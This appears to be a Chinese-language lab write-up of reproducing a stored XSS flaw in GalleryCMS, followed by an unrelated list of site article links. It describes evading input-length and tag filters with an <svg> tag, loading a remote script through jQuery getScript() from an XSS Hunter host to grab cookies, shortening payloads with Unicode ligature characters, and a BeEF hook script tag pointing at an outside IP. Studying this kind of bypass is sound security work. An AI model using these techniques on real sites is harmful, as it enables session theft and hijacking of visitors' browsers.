当前位置:网站首页>XSS漏洞复现
XSS漏洞复现
2022-08-03 20:58:00 【抱小猫】
目录
第一步:首先随意上传一个字符串,查看字符串最后输入到什么地方
第四步:beef复现GalleryCMS20个字符限制短域名绕过
XSS复现GalleryCMS字符长度限制短域名绕过
我们首先搭建好galleryCMS的服务器。

第一步:首先随意上传一个字符串,查看字符串最后输入到什么地方

可以在数据库中看见我们上传的数据
第二步:我们再测试一下是否可以使用JS代码
在数据库中显示为,这说明对JS代码有限制,导致我们无法进行弹窗
我们查看一下源码,可以发现他对我们做了长度45,且过滤了很多标签等限制

但是从源码中可以看出没有对<svg>标签进行限制,所以我们尝试使用<svg>标签测试是否能绕过

绕过成功:

第三步:使用getScript()函数绕过
我们通过这个页面发现网页使用的是jQuery框架,我们尝试使用getScript()函数绕过试一下。
getScript()函数:使用 AJAX 的 HTTP GET 请求获取和执行 JavaScript。
语法:(selector).getScript(url,success(response,status))
| 参数 | 描述 |
|---|---|
| url | 必需。规定将请求发送到哪个 URL。 |
| success(response,status) | 可选。规定当请求成功时运行的函数。 额外的参数:
|
我们尝试将<svg>标签和getScript合用一起获取cookie值

我们使用了xss-hunter给系统分配的一个页面,telsm.xss.ht里面有很多获取信息的功能,需要注册并且拥有自定义的xss.ht子域名才可以使用,但是我没有注册域名,所以查看不到获取的消息,但是这样也表示成功了。

第四步:beef复现GalleryCMS20个字符限制短域名绕过
我们将字符最长限制长度改为20个字符,利用beef工具尝试绕过

但是基本的命令都会超过20个字符
由于字符长度限制,如何实现绕过?
1、使用Unicode编码进行编码,Unicode编码有几种特殊字符,如tel在Unicode中仅算一个字符
2、域名重定向-->国内域名重定向需要备案,只能使用国外域名
我们用第一个方法Unicode编码利用特殊字符绕过
- ℠ expands to
sm - ㏛ expands to
sr - st expands to
st - ㎭ expands to
rad - ℡ expands to
tel
我们先打开beef-xss:

登陆beef的网页端,beef的用户名和密码在/etc/beef-xss/config.yml文件下查看

把hook.js文件内容复制到服务器下的/var/www/html/index.html文件下,因为我没有自己的域名,所以我自能修改配置文件,使用ip进行测试<script src="//192.168.112.131:3000/hoot.js">
成功了


参考资料:
边栏推荐
猜你喜欢

tRNA修饰2-甲基胞嘧啶(m2C)|tRNA修饰m2G (N2-methylguanosine)

From September 1st, my country has granted zero-tariff treatment to 98% of tax items from 16 countries including Togo

有趣的opencv-记录图片二值化和相似度实现

基于data.table的tidyverse?

服务器安装redis

力扣707-设计链表——链表

反射机制

abs()、fabs() 和 labs() 的区别

2021年数据泄露成本报告解读

Advantages and Disadvantages of Blind and Buried Via PCB Stacked Via Design
随机推荐
面试官:为什么 0.1 + 0.2 == 0.300000004?
How can a cloud server safely use local AD/LDAP?
《QDebug 2022年7月》
leetcode 072. Finding Square Roots
直播源码开发,各种常见的广告形式
ES6简介及let、var、const区别
李沐动手学深度学习V2-BERT微调和代码实现
如何使用 Jmeter获取登录token并设置为全局变量?
在树莓派上搭建属于自己的网页(3)
ES6 deconstruction assignment - array object deconstruction and deconstruction
模板字符串概述
nvm的使用 nodejs版本管理,解决用户名是汉字的问题
关于shell脚本的一些思考
数据库定时备份winserver2012篇
七夕快乐!
LeetCode_Digit Statistics_Medium_400. Nth Digit
力扣203-移除链表元素——链表
简单又有效的基本折线图制作方法
手动输入班级人数及成绩求总成绩和平均成绩?
ES6 - Arrow Functions
